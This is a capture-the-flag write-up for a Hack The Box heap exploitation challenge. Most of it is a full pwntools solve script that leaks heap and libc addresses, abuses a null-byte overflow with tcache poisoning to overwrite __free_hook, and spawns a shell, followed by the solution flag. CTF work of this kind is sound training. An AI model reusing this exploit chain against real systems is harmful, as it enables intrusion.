In order to automate our procedures, we have created this data collector steam robot that will go out and ask questions on random citizens and store the data in his memory. Our only problem is that we do not have a template of questions to insert to the robot and begin our test. Prepare some questions and we are good to go!
Category: pwn
Solver: t0b1
Flag: HTB{r0b0fl0w_tc4ch3_p01s0n}
Writeup Libc given, 2.27 Challenge allows to create, modify, show, and delete questions Using show, we can leak the heap and libc base address Modifying a challenge gets the question size via strlen This is problematic, as when using malloc chunks of size 0x8 we can overwrite the size metadata of the following chunk Therefore, we have at least one byte into the metadata of the following chunk Similar to the House of Einherjar and digiheap challenge from last year described here https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ See solve script below Solve script # Solution similar to https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ # This might need multiple attempts when address leaks # contain null bytes. from pwn import * LOCAL = False DEBUG = False remote_ip, port = '159.65.56.112', 32297 binary = './robo_quest' elf = ELF(binary) libc = ELF(".glibc/libc.so.6") context.terminal = ['tmux', 'splitw', '-h'] context.arch = "amd64" context.log_level = "info" # context.aslr = False re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) libc = ELF(".glibc/libc.so.6") if LOCAL: if DEBUG: p = gdb.debug(binary, gdbscript=''' break *main+202 c ''') else: p = process(binary) else: p = remote(remote_ip, port) def choice(idx): sla("> ", str(idx)) def create(size, question): choice(1) sla("Question's size: ", str(size)) sa("Insert question here: ", question) def show(idx): choice(2) sla("Question's id: ", str(idx)) def modify(idx, question): choice(3) sla("Question's id: ", str(idx)) sa("New question: ", question) def remove(idx): choice(4) sla("Question's id: ", str(idx)) junk = 8 * b'A' # Leak heap via tcache next ptr create(16, junk) create(16, junk) remove(1) remove(0) create(16, b'A') show(0) reu(b'Question [0]: A') tcache_fd = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) # Offset to heap start found by debugging with GDB and running `vmmap` heap_start = tcache_fd - 0x200 info(f'heap starts at: 0x{heap_start:x}') # Cleanup remove(0) # Leak libc via unsorted bin create(0x500, junk) create(0x500, junk) remove(0) create(0x500, b'A') show(0) reu(b'Question [0]: A') main_arena = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) info(f'main arena: 0x{main_arena:x}') # Offset to libc start found by debugging with GDB and running `vmmap` libc.address = main_arena - 0x3ebc00 info(f'libc at: 0x{libc.address:x}') system = libc.symbols['system'] info(f'system: 0x{system:x}') free_hook = libc.symbols['__free_hook'] info(f'free_hook: 0x{free_hook:x}') # Cleanup remove(0) remove(1) # Exploit using House of E fake_chunk_address = heap_start + 0x2a0 fake_chunk_payload = p64(0x0) fake_chunk_payload += p64(0x325) fake_chunk_payload += p64(fake_chunk_address) fake_chunk_payload += p64(fake_chunk_address) info(f'Fake chunk starts at: 0x{fake_chunk_address:x}') info(f'Setting up heap') create(0x108, fake_chunk_payload) # Fake chunk create(0x108, junk) create(0x108, cyclic(0x108)) # use this to overwrite next chunks prev_in_use create(0x4f8, junk) # to overflow create(0x108, junk) create(0x28, b'/bin/sh\x00') info(f'Using null byte overflow to set PREV_IN_USE') null_byte_trigger = b'a' * 0x100 + p64(0x320) + b'\x00' modify(2, null_byte_trigger) info(f'Freeing corrupted buffer') remove(3) info(f'Freeing filler') remove(4) info(f'Freeing tcache poison target') remove(1) # tcache poison tcache_poison = b'a' * 0xf8 tcache_poison += p64(0x111) tcache_poison += p64(free_hook) info(f'Creating new chunk to poison tcache fd') create(0x200, tcache_poison) info(f'Creating first chunk') create(0x108, junk) # Overwrite free hook info(f'Creating chunk to overwrite free hook') create(0x108, p64(system)) # Free chunk with '/bin/sh' info(f'Freeing chunk with /bin/sh to trigger free hook') remove(5) info(f'Enjoy shell!') p.interactive()